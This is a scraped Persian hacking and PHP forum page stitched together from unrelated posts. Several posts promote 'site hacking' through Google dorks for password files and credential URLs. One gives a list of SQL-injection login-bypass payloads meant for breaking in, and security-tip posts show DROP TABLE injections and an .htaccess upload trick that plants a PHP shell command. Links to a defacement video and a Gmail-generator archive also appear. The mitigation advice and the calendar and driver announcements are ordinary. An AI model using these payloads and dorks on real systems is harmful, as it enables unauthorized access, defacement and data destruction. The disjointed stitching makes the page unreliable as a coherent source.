هک سایت شل آموزش باگ دیفیس باگ پرایوت دامین هاست پرسش وپاسخ دانلود برنامه سریال نامبر برنامه نویسی free domainجامعه مجازی، شبکه اجتماعی، دوست یابی، دوستیابی، ثبت دامنه، ثبت دامین
دوستون دارم

بلی بای
![]()
گوگل هکینگ
خوب سلام دوستان می خواستم به شما روش هک سایت به روش rfi را آموزش بدهم گفتم اول بهتر است کمی با گوگل هکینگ آشنا شوید
خوب من چند تا از دستورات کاربردی گوگل را می گویم که واقآ اگر روش صحیح کارکردن با این ها را درک کنید میتوانید هر فایل حتی فایلهایی private , و هر چیزی که فکرش را بکنید پیدا کنید . من خودم با گوگل ایمیل هایی مخفی در سایتها را پیدا کردم بعدآ روش پیدا کردن این چیزها هم یاد میدهم
جست وجوی حرفه ای با موتور جست وجوی گوگل
<= Intext: این دستور کاملآ مخالف intitle است و جست و جو بیشتر the body text یا همان محتوای سایت است برای بیشتر فهمیدن شما درباره این دستور من یک مثال خیلی ساده را می گویم
اگر شما برای واژه های html جست و جو میکنید و شما نمیخواهید نتیجه را به این www.mysite.com/index.html شکل ببینید فقط کافی است به این شکل بنویسید .intext:html
: Link= > این دستور برای زمانی کاربرد دارد که شما میخواهید ببینید که چه سایت هایی به سایت مورد نظر شما لینک داده اند برای مثال : link:http://www.yahoo.com این دستور تمام سایتهایی که با سایت یاهو مرتبط هستند را به شما نشان میدهد
: Site= > این گزینه هم کاربرد زیادی دارد این را با یک مثال ساده میگویم به عنوان مثال من میخواهم در سایت ebay کتاب ها را برای خرید پیدا کنم پس در گوگل به این شکل زیر جست و جو میکنم
Site :www.ebay.com intitle:books
" " =< خوب این جستو جو را ففط به محتوایی که در داخل این کوتیشنها است محدود میشود مثال :
"Mark Twain" این فقط به دنبال سایتهایی میگردد که کلمه mark Twain در آن بکار رفته است
علامت + =< این علامت برای الحاق چند جست و جو کاربرد دارد یکی از کاربردش را در دستور بعد نشان دادم
:phonebook = > اگر بخواهید شماره تلفن و بیوگرافی شخصی خارجی را پیدا کنید از این دستور به شکل زیر استفاده میکنید
"Phonebook:lisa+ca
خوب این به دنبال تمام اشخاصی که اسمشان lisa , و در کشور کانادا هستند میگردد (ca مخفف کلمه کانادا است ) من یک لیست از پسوندها کشور ها را اینجا میذارم شاید مفید باشد
Australia .au
Indonesia .id
India .in
Japan .jp
Israel .il
Britain .uk
.us unitated state
Inurl: = > خوب این دستور هم کاربرد زیادی دارد برای هک . این دستور می آید در url سایت جست وجو میکند مثال : inurl:passwd به دنبال سایتهایی میگردد که در url آن ها کلمه passwd بکار رفته است به این شکل www.site.com/passwd
:Filetype = این دستور برای جست و جوی پسوند فایلی که میخواهیم است مثال
Filetype:pdf site:www.book.net
این می اید در سایت book.net به دنبال تمام فایلها با پسوند pdf میگردد و به ما نشان میدهد
و چند تا دستور دیگر با نام related و cache و index.of (که دستور اصلی گوگل نیست و فقط هکرها بکار میبرند برای پیدا کردن قسمتهایی آسیب پذیر سایت )
اما اگر دوستان خواستند این چند تا هم می گویم موفق باشید
__________________
*********Never let school get in the way of learning***********
نظر بده با سوات
مقاله ماملي نيست ! اما به زودي PDF هاي كاملي رو براتون قرار ميدم ! اينو بخونيد يه آمادگي ذهني داشته باشيد تا اصلي ها بياد !
SQL یک زبان ساختار یافته ی متنی است که در سرويس دهنده ی وب مايکروسافت (IIS) استفاده ميشود و يکی از پر استفاده ترین نوع بانکهای اطلاعاتی است. در بانکهای اطلاعاتی، اطلاعاتی از قبیل User Name ها و Password ها، اطلاعات کاربران و ... نگهداری میشوند.
واحد اجرايی در SQL ها Query ها هستند.
Query چیست؟
مجموعه ای از عبارات است که با آنها میتوان با بانک اطلاعاتی به تبادل اصلاعات پرداخت. و ما بايد با فرستادن آنها بر روی سرور از طريق به اهداف خود برسيم.
کدهای زیر را یک طراح وب برای یک سیستم ورود بوسیله SQL و ASP نوشته است.
Login.html
<html>
<body>
<form method=get action="login_page.asp">
<input type="text" name="login_name">
<input type="text" name="pass">
<input type="submit" value="sign in">
</form>
</body>
</html>
login_page.asp
<@language="vbscript">
<%
dim conn,rs,log,pwd
log=Request.form("login_name")
pwd=Request.form("pass")
set conn = Server.CreateObject("ADODB.Connection")
conn.ConnectionString="provider=microsoft.jet.OLED B.4.0;data source=c:\folder\multiplex.mdb"
conn.Open
set rs = Server.CreateObject("ADODB.Recordset")
rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn
If rs.EOF
response.write("Login failed")
else
response.write("Login successful")
End if
%>
همانطور که مشاهده کرديد طراح وب دو صفحه را طراحی کرده است:
1- صفحه login.html که username و password کاربر از آنجا گرفته میشود.
2- صفحه ای که در آن username و password وارد شده با اطلاعات داخل Data Base مقایسه میشود و در صورت وجود داشتن username و password در Data Base مقایسه میشود و در صورت درست بودن آنها پیغام درست بودن آنها داده میشود و در غیر این صورت پیغام درست نبودن آنها داده میشود.
اگر query ما به صورت زیر باشد، ما ميتوانيم از بخش ورود با موفقيت عبور کنيم.
Username : admin
Password : admin’ or a
Username : admin
Password : admin’ or a=a --
حال چرا اين اتفاق می افتد؟
در مثال بالا نفوذگر از یک روش ساده برای نفوذ استفاده کرده است. او کلمه کاربر را وارد و در محل ورود کلمه عبور عبارت Admin’ or a=a را وارد می کند. در اینجا بانک اطلاعاتی به بررسی آن خواهد پرداخت. شايد کلمه عبور admin نباشد اما نفوذگر از عبارت Or a=a نیز استفاده کرده است. این عبارت به این مفهوم است که کلمه عبور یا (admin) است و یا است.a که = a و بانک اطلاعاتی با مواجه شدن با این عبارت فرض ميکند کلمه عبور درست است و نفوذگر ميتواند به سیستم وارد شود.
نمونه های ديگری از مثال بالا:
admin" or "a"="a
admin" or 1=1 --
admin' or 1=1 --
admin' or 'a'='a
admin') or ('a'='a
admin") or ("a"="a
حال اگر هیچ کدام از این روشها کار نکرد چکار کنيم؟
ما وقتی می توانیم به طور موفقیت آمیز به یک سیستم نفوذ کنیم که دقیقا از نحوه طراحی بانک اطلاعاتی آن مطلع باشيم.
قسمت اصلی همين جاست. اگر خدا خواست در مقالات بعد به اين موضوع میپردازيم.
۱۹ خدمتم و دیگه آژ نمی گنم تا ۲ ماه
![]()
![]()
![]()
![]()
![]()
![]()
تقويم شمسي جاوا اسكريپت !
نوشته شده توسط HamidRezaُ
۲ مرداد ۱۳۸۶
تقويم شمسي جاوا اسكريپت !
وقتي اين كلمه رو در گوگل جستجو ميكردم برام يه اميدي بوجود ميومد كه انگار يه چيزي پيدا شده اما وقتي به اون سايت مراجعه ميكردم متوجه ميشدم كه منظورش فقط چاپ تاريخ همون روز روي صفحه هست . مثلا چهارشنبه 2 مرداد 1386 .
خيلي زود متوجه شدم كه بايد حسرت تقويم شمسي تحت وب رو بخورم و در واقع چنين چيزي وجود نداشت .
در حال حاضر با خوشحالي وصف ناپذير به اطلاع ميرسانم كه تقويم شمسي تحت وب از اين پس وجود خارجي داره .
اين تقويم از يك نمونه كه داشتم و يك فايل ديگه كه تاريخ شمسي داشت ساخته شده .
به هيچ وجه مشخص نيست كه اين فايلها توسط چه كسي ايجاد شده و هيچ قانون استفاده اي هم ندارن اما من به عنوان انتشار دهنده نسخه نهايي ‘ فايل رو با مجوز استفاده رايگان براي تمام پروژه هاي اپن سورس انتشار ميدم .
از لحاظ كاركرد مشكل خاصي نيست اما از لحاظ امكانات خيلي دلم ميخواد كه همانند تقويم ميلادي جوملا بشه .
من فعلا يه نسخه كمپرس شده اون رو فقط براي تست گذاشتم اما فقط براي تست استفاده كنيد تا در صورت وجود مشكل منطقي اون رو حل كنيم .
در صورتي كه همين حالا نياز به نسخه كمپرس نشده داريد ميتونيد از سايت من دريافت كنيد .
در ضمن خيلي دلم ميخواد به صورت يك پروژه گروهي كار بشه و با PHP ارتباط داده بشه و همچنين با MySQL كه بشه مثلا آرشيو اطلاعات رو با اين فيلد فيلتر كرد .
چيزي كه واقعا به درد همه خواهد خورد و به درد همه CMS ها و سايتها و سيستمها ميخوره .
براي ديدن نمونه تقويم اينجا رو كليك كنيد .
اين تقويم با مرورگهاي به درستي كار ميكنه :
Firefox
Opera
IE
Safari
براي ادامه بحث به اين تاپيك مراجعه كنيد و نظرات شخصي خودتون رو در اينجا مطرح كنيد .
آخرين بروز رساني ( ۴ مرداد ۱۳۸۶ )
سلسله نکات امنیتی نکته شماره #3
نوشته شده توسط رامین فرمانی
۸ تیر ۱۳۸۶
نکته امنیتی شماره سوم حملات موسوم به
SQL Injection
پیش از هر چیز سعی میکنم تعریفی از SQL Injection بياورم اين خيلي مهمه كه بدونيم معني اين كلمه چيست اين واژه به معناي تزريق SQL هست و خوب فکر می کنم دیگه حالا بشه حدس زد که این یعنی چی. یعنی اینکه یک کسی یک طوری یک چیزی رو به یک پایگاه داده SQL تزريق مي كنه تزريق هميشه يادآور اينه كه ماده اي خارجي كه از جنس مقصد نيست به اون وارد مي شه و اين واقعا همون چيزيه كه اتفاق ميفته حالا با بیانی ساده آغاز میکنیم و به سراغ این میرویم که اگر برنامههای ما در مقابل این نوع حملات ضعف داشته باشند چگونه میتوانند مورد حمله واقع شوند.
در واقع سه نوع حمله از اين دست وجود دارند كه دوتا از اونها مد نظر ما هستند
1- حملاتي كه ناشي از اشتباه در فيلترينگ گريزكاركترها(escape characters)هستند
2- حملاتی که ناشی از اشتباه در نوع داده هستند
3- حملاتی که به حفره های ذاتی پایگاه های داده مربوط میشوند
پر واضح است که دو دسته اول مدنظر ماست که ادامه به بررسی اونها خواهیم پرداخت.
خوب اجازه بدهید در مورد اولی مثالی ببینیم
[code]
mysql_query('SELECT * FROM user WHERE username = "' . $_GET['username'] . '");
[/code]
همونطوری که مشاهده می کنیم مانند همیشه خیلی عادی دارید نام کاربری که کاربر براتون با متد GET پست كرده رو جستجو مي كنيد كه اگر يافت كرديد به اون كاربر اجازه ورود بديد هدفمون اصلا اين نيست كه اين كد رو پيچيده كنيم مثلا شما با خودتون بگين كه اگر من باشم حتما با POST می فرستم و حتما پسورد را هم چک می کنم و حتما پسورد را دوبار md5 مي كنم زيرا كه اصلا حفره در اينجا نيست تصور كنيد كه يك نفوذگر(نه هکر) چنين چيزي را ارسال كند:
' OR '1'='1
و نتیجه نهایی در پرس و جوی SQL چنين مي شود
mysql_query('SELECT * FROM user WHERE username = "' . ' OR '1'='1 . '");
خوب حالا نظرتون چیه!
می دونین مشکل اینجاست که قضیه به این سادگی ها هم ختم نمی شه و می شه یک نفوذگر ماهر ده ها مورد دیگر رو هم مورد استفاده قرار بده بطور مثال:
a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%
که نتیجه تعصف برانگیز
mysql_query('SELECT * FROM user WHERE username = "' . a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%
. '");
را به همراه خواهد داشت موارد دیگر مانند بوجود آوردن خطاها و گرفتن اطلاعات بدست آوردن نسخه پایگاه داده اجرا کردن کدها و مباحث پیشرفته SQL Injection رو نام برد كه در هر مورد سخنان زيادي مي شه گفت حالا اجازه دهيد كه به سراغ حفره دوم برويم :
mysql_query("SELECT * FROM user WHERE id = " + variable + ";");
واضح است که برنامه نویس در اینجا انتظار دارد که متغیری عددی در جای variable وارد گردد حال اگر بدون كنترل كردن نوع داده اين كد را در اختيار كاربران بگذارد به چنين چيزي روبرو مي شود
1;DROP TABLE users
و احتمالا دیگر نیازی نیست که بگویم بعدا چه اتفاقی خواهد افتاد خوب حالا چه باید کرد؟
حقیقت این است که اگر حفره های امنیتی عموما کابوسی وحشت ناک بشمار می آیند اما پیش گیری از آنها بسیار ساده است دو کد برای شما ذکر می کنم که منبع اون ها یکی از سایتهایی بود که چند وقت پیش در این زمینه مطالعه می کردم و الان آدرس اونها در ذهنم نیست
در مورد حفره اول تابعی را می نویسیم که بسیار ساده و در عین حال محکم و قابل اعتماد است
function sql_quote( $value )
{
if( get_magic_quotes_gpc() )
{
$value = stripslashes( $value );
}
//check if this function exists
if( function_exists( "mysql_real_escape_string" ) )
{
$value = mysql_real_escape_string( $value );
}
//for PHP version < 4.3.0 use addslashes
else
{
$value = addslashes( $value );
}
return $value;
}
و نحوه استفاده از اون هم بسیار ساده است
$username = $_POST['username'];
query = "SELECT * FROM users WHERE username='" . sql_quote($username) . "'";
در مورد نکته دوم هم که کلاس امیرمحمد عزیز رو مورد استفاده قرار دادم که یکی از مجموعه های بدرد بخور PEAR هست و به آدرس http://pear.php.net/package/Validate می تونین اون رو دریافت کنین و آدرسی که در کد هست رو به مسیر دلخواهی که این فایل درون قرار داره تغییر بدین
//init validate object
include_once('your_path_to_pear_directory/Validate.php');
$validate = &new Validate();
//get POST variables
$username = $_POST['username'];
$email = $_POST['email'];
$age = $_POST['age'];
//validate username, only alphanumeric and space characters are allowed
//VALIDATE_ALPHA, VALIDATE_NUM, VALIDATE_SPACE constants are defined in Validate class.
if( !$validate->string( $username, array('format'=>VALIDATE_ALPHA . VALIDATE_NUM . VALIDATE_SPACE ) ) )
{
//throw some username error
}
//validate email
if( !$validate->email( $email ) )
{
//throw some email error
}
//validate age, only numbers between 0 and 100 are allowed
if( !$validate->number( $age, array( 'min'=>0, 'max'=>100 ) ) )
{
//throw some age error
}
خوب حالا چند مورد اضافی هم باید ذکر کنم در مورد کد اول چند تابع می بینید که برای پاسخ به حس کنجکاوی شما توضیحی براشون نمیارم ولی در پایگاه های داده گوناگون توابع در نظر گرفته شده تقریبا به همین شکل هستند
MySQL: mysql_real_escape_string()
PostgreSQL: pg_escape_string()
SQLite: sqlite_escape_string()
راه حل خوب دیگری که حتما باید ذکر گردد استفاده از PDO است كه در اينجا مجالي براي شرح آن نیست و توضیحاتی در این زمینه را می تونین در
و
http://www.devshed.com/c/a/PHP/Using-PDO-Objects-in-PHP-5/
مشاهده کنید مورد سوم که شخصا شدیدا اون رو توصیه که نه دستور می دهم استفاده از DAL هاست كه شخصا پيشنهادم PEAR::MDB2 هست اما هر سه گزينه زير قابل تامل و بدرد بخور هستند
AdoDB: http://adodb.sourceforge.net/
PEAR::MDB2: http://pear.php.net/package/MDB2
Zend_Db: http://framework.zend.com/manual/en/zend.db.html
آخرين بروز رساني ( ۱۰ تیر ۱۳۸۶ )
سلسه نكات امنيتي نكته شماره #2
نوشته شده توسط رامین فرمانی
۸ خرداد ۱۳۸۶
سلسه نكات امنيتي نكته شماره #2
نكته امنيتي امروز ما مربوط ميشود به يكي از مهمترين و حساسترين ابزارهاي امنيتي، نوعي حمله مربوط به آن و روش پيشگيري از اين حمله به شكلي صحيح خوب همانطور كه شايد برخي از شما حدس زدهايد امروز ميخواهيم در رابطه با جلسهها(Session) باهم صحبت كنيم:
يكي از حملات بسيار مرسوم در مجموعه حملات شناخته شده تحت وب حمله موسوم به Session fixation هست كه نفوذگر در طي آن سعي دارد با شبيه جلوه دادن خود به كاربران به اطلاعات موجود در جلسه آنها دسترسي يابد. مهمترين و حساسترين اطلاعات براي نفوذگر در اين شرايط چيست؟ خوب همانطور كه احتمالاً شما هم ميدانيد Session ID هسته اصلي اين نوع نفوذ خواهد بود در واقع Session ID كليدي است كه ميتوان باداشتن آن ثابت نمود كه من كاربر X و شما كاربر Y هستيد و حالا اگر من كليد شما را به طريق بدست بياورم ميتوانم خودم را جاي شما جابزنم و...
خوب پس از اين مقئمه براي دوستاني كه ميخواهند كمي بيشتر درمورد Session Fixation اطلاعات كسب كنند مرجع هميشگيمان http://www.wikipedia.com را پيشنهاد ميدهم كه ميتوانيد توسط http://en.wikipedia.org/wiki/Session_fixation مستقيم به تارنماي دايرة المعارف ويكيپديا بخش مربوط به session fixation متصل گريدد.
خوب تا ايجا متوجه شديم كه برروي هاستهاي مشترك خطري با چنين محتوي نرمافزار ما را تهديد مينمايد اما به واقع چگونه ميتوان از چنين حفرههايي پشتيباني كرد و راه عبور را بر نفوذگران بست، ساده است چنانچه دائما احتمال به سرقت رفتن كليد خانه شما وجود داشته باشد شما چهميكنيد خوب واضح است كليد را دائماً عوض ميكنيد در اينجا نيز ما چنين ميكنيم:
<?php
session_start();
if (!isset($_SESSION['initiated']))
{
session_regenerate_id();
$_SESSION['initiated'] = true;
}
?>
اما نكتهاي در اينجا مطرح ميشود و آن اينكه با رفتن به آدرس اين صفحه در شاخه (پيش فرض) /tmp شما چنين چيزي مشاهده خواهد شد:
sess_82c6980017e100277a63983142fd454c
sess_a4bab88e6dfa6e900ade21e3fbd27a53
و اگر مجدداً صفحه را اجرا نمائيد:
sess_984c5230acca90b5a75eddb89bb48354
sess_a4bab88e6dfa6e900ade21e3fbd27a53
sess_82c6980017e100277a63983142fd454c
و مجدداً:
sess_984c5230acca90b5a75eddb89bb48354
sess_a4bab88e6dfa6e900ade21e3fbd27a53
sess_82c6980017e100277a63983142fd454c
sess_dd88c05b724d80b30c90309847f2e919
براي اجتناب از چنين وضعيتي كافيست تا كد خود را به اين شكل اصلاح نمائيد:
<?php
session_start();
if (!isset($_SESSION['initiated']))
{
$_SESSION['initiated'] = true;
session_regenerate_id(true);
}
?>
آخرين بروز رساني ( ۱۰ خرداد ۱۳۸۶ )
چند تذکر
نوشته شده توسط آرش ميکائيلی
۷ خرداد ۱۳۸۶
سلام دوستان
طی هفته های گذشته مسائلی پیش آمده که لازم دیدم این تذکرات را در صفحه اول مطرح کنم:
1. تعدادی پست با محتوی مربوط به استفاده غیر مجاز (Crack) از نرم افزار های موجود در بازار داشتیم که متاسفانه بعضا از طرف اعضای قدیمی سایت بود.
از همه دوستان خواهش می کنم که از ارسال چنین مطالبی خودداری کنن، چرا که در صورت ارسال چنین مطالبی پست توسط مدیران سایت حذف می شود و شناسه کاربری ارسال کننده پست بسته خواهد شد.
2. من و سایر مدیران سایت روزانه تعداد زیادی email در رابطه با در خواست کمک در مسائل فنی دریافت می کنیم، لطفا توجه داشته باشید که به هیچ یک از این سوالات پاسخ داده نخواهد شد و فقط به سوالات مطرح شده در انجمنها رسیدگی می شود.
3. تعداد زیادی پست تکراری و غیر میربوط با عنوان انجمن مطرح شده؛ از همه دوستان خواهش می کنم که در زمان ارسال دقت بیشتری داشته باشن.
در پایان لازم میدونم از امیر محمد سعید و رامین فرمانی برای زحماتی که برای IranPHP می کشن تشکر کنم.
با آرزوی موفقیت همه دوستان
آرش
سلسله نكات امنيتي نكته شماره #1
نوشته شده توسط رامین فرمانی
۱ خرداد ۱۳۸۶
نكته شماره #1
هرزمان كه به كاربري اجازه بارگذاري Upload فايلي را ميدهيد امنيت سيستم شما به نقصان كشيده ميشود شايد چون بسياري از ديگر برنامه نويسان ساده لو با خود بگوئيد من از فهرست سياه blacklist براي كنترل پروندههاي ارسالي به ميزبانم استفاده مي كنم به عنوان مثال با كنترل كردن نوع فايل File Type اجازه ارسال پروندههايي با پسوند PHP را به كاربرانم نمي دهم حال يك هكر نه چندان با هوش چنين مي كند:
پروندهاي با نام ".htaccess" را با محتوي :
AddType application/x-httpd-php .php .htm .txt .bad
بارگذاري ميكند حال كافيست تا دريك پرونده با پسوند .htm و يا .txt ويا .bad كدي مانند :
<?php
echo system("locate config");
?>
قرارداده آنرا نيز برروي ميزبان شما بارگذاري نمايد...
پس خوب دقت كنيد همواره همواره و همواره پروندههاي ارسالي كاربران را توسط يك فهرست سفيد whitelist (بجاي فهرست سياه blacklist) آزمايش نمائيد.
يدنيست همينجا با با يك PECL extension بسيار خوب و كارا آشنا بشيد:
Fileinfo : اين اضافه هنوز در بسته PECL مي باشد اين اضافه با بررسي ساختار فايل ارسال (بدون توجه به نام وپسوند آن) نوع فايل را حدس ميزند صفحه خانگي رسمي اين اضافه در آدرس:
lhttp://pecl.php.net/package/Fileinfo
و مستندات آن در آدرس :
http://ir.php.net/manual/en/ref.fileinfo.php
آخرين بروز رساني ( ۵ خرداد ۱۳۸۶ )
پلاگین تاریخ جلالی برای Smarty
نوشته شده توسط آرش همت
۲۳ فروردین ۱۳۸۶
سلام شاید قبلا هم در مورد این پلاگین شنیده باشید. این پلاگین به شما این امکان را میدهد تا در تمام طول برنامه خود با تاریخهای میلادی یا unix timestamp کار کنید و تاریخها را در داخل فایل template برنامه به تاریخ جلالی به فرمت دلخواه تبدیل کنید. این پلاگین قادر به تبدیل تمامی فرمتهای تاریخ شامل unix timestamps و mysql timestamps و تمامی رشته هایی که توسط تابع strtotime در php قابل تفسیر میباشد است. در نسخه دوم پلاگین html_select_jdate هم به این مجموعه اضافه شده که به برنامه نویس امکان ایجاد dropdown های مورد نیاز برای دریافت تاریخ بصورت جلالی را با استفاده از تابع html_select_jdate در smarty میدهد. یک مقاله آموزشی نیز برای این پلاگین نوشته شده که بزودی در بخش مقالات قرار میگیرد.
آخرين بروز رساني ( ۲۵ فروردین ۱۳۸۶ )
MySQL Native Driver for PHP
نوشته شده توسط HamidReza
۲۲ فروردین ۱۳۸۶
مدل جديد از درايور MySQL براي PHP تحت نسخه بتا انتشار داده شد .
اين درايور كه mysqlnd نام دارد مخفف MySQL Native Driver مي باشد . MySQL Native Driver يك راه جديد و انتخابي براي اتصال PHP نسخه 5 و 6 هست به MySQL نسخه 4.1 به بالا و در واقع جايگزيني هست براي libmysql .
بخشي از مشخصات جديد كه در نسخه 5.0.0-alpha اضافه شده و مهمترين اون اضافه شدن يونيكد هست به شرح زير مي باشد :
· Support for Prepared Statements
· Support for Unicode
· Support for PHP 5
· Performance statistics:
o mysqli_get_client_stats()
o mysqli_get_connection_stats()
از اينجا دانلود كنيد .
آخرين بروز رساني ( ۲۳ فروردین ۱۳۸۶ )
PHP serial extension
نوشته شده توسط HamidReza
۲۱ فروردین ۱۳۸۶
اين جور كه پيداست به هيچ وجه نميشه آينده php رو پيش بيني كرد . هر روز اكستنشن هاي جديدي براي php نوشته ميشه كه باعث بالا رفتن توانايي هاي اون ميشه .
چند روز پيش يك اكستنشن جالبي رو ديدم كه به نظرم مطرح كردن اون خالي از لطف نبود :
PHP serial extension
زماني كه php با اين اكستنشن بر روي ويندوز نصب باشه با نوشتن اسكريپت مي تونيد با سخت افزارهايي كه بوسيله پورت سريال به آن كامپيوتر متصل هستند دسترسي داشته باشيد . ممكنه بپرسيد اين چه فايده اي داره ؟
فايده اون اينه كه از راه دور و با لاگين كردن از هرجاي دنيا ميتونيد سخت افزار متصل شده رو كنترل كنيد !
اين سخت افزار ميتونه هر چيزي باشه از سوييچر ويديويي ‘ جعبه هاي كنترل منزل ‘ كنترل كننده هاي دوربين و حتي مودم هاي GSM كه به منظور ارسال و دريافت SMS كاربرد دارند .
سيستم عامل مورد نياز متاسفانه فقط ويندوز هست از نسخه هاي 95 تا XP البته لينوكسي ها اصلا نگران نباشند چون يه چيزي تو همين مايه ها براي سيستم عامل لينوكس وجود داره كه فكر كنم فقط يك كلاس هست و نياز به اكستنشن هم نداره :PHP serial
در ادامه يك نمونه كدنويسي براي ليست كردن SMS هاي يك مودم ي ا تلفن GSM رو بررسي ميكنيم :
در ابتدا ميتونيد نسخه ورژن اكستنشن رو بدين صورت بازيابي كنيد :
$str = ser_version();
echo "Version: $str";
خروجي اين كد چيزي شبيه به اين 10032006.1. است .
گام بعدي بازكردن پورت هست :
ser_open( "COM1", 9600, 8, "None", 1, "None" );
براي اينكه مطمئن باشيد پورت در حال حاضر باز است بدين ترتيب عمل ميكنيم :
$str = ser_isopen();
echo "Port: $str";
كه خروجي به اين Port: COM1 9600 8 None 1 None شكا خواهد بود .
بعضي از مودم ها نياز دارند كه DTR آنها هم ست شود :
ser_setDTR( True );
براي كار كردن با SMS ها در محيط متني عمل ميكنيم . اين كار رو با دستور AT+CMGF ست ميكنيم :
ser_write("AT+CMGF=1\r\n");
تمام دستورات مقداري رو بر ميگردانند . مانند ok يا error . ما اين پيامها رو دريافت ميكنيم و در خروجي مياوريم :
sleep(1); // wait a while
$str = ser_read(128);
echo $str;
كه بايد خروجي OK رو بدهد .
در اين لحظه همه چيز آماده هست تا SMS ها رو ليست كنيم با دستور AT+CMGL .
ser_write("AT+CMGL=\"ALL\"\r\n");
مودم در پاسخ اين درخواست ليست تمام SMS هاي موجود در حافظه و يا sim كارت خود را جواب ميدهد .
sleep(2); // wait a while, if list is long we must wait longer
$str = ser_read(512);
echo $str;
در اين لحظه ما خروجي SMS هاي يك مودم يا تلفن GSM رو بر روي يك صفحه وب داريم !
لينكها :
راهنما
http://www.easyvitools.com/phpserial/php_ser_reference.html
دانلود
http://www.easyvitools.com/download/download.html
نظر ندیا!!!!!!!!!!!!!!!![]()

zer0-0ne.blogfa.com
khubi ha ro faramush nakon...
http://www.sagaposes.com/sina/GmailGen.zip
ای بابا اگه موظوع س ک س ی بود که ۱۰۰ انتقادو پیشنهاد داشتی ......
باشه
؟![]()
یه ویدیو واستون آپلود کردم آموزش دیفیس سایت البته مثه یه بازیه لینکش :
http://www.irshare.com/file.php?file=156d0887d4703b4925528dc99f03c4b0
به این دستور زیر توجه کنید :
http://*:*@members.examplesite.domain
بجای examplesite آدرس سایت مورد نظر رو بزارید
بجای .domain هم پسوند سایت رو بزارید ، مثلا .com
بعد این آدرسی رو که ساختید رو تو گوگل سرچ کنید !
نتیجه رو ببینید ! به نظر باور نکردنی میاد نه ؟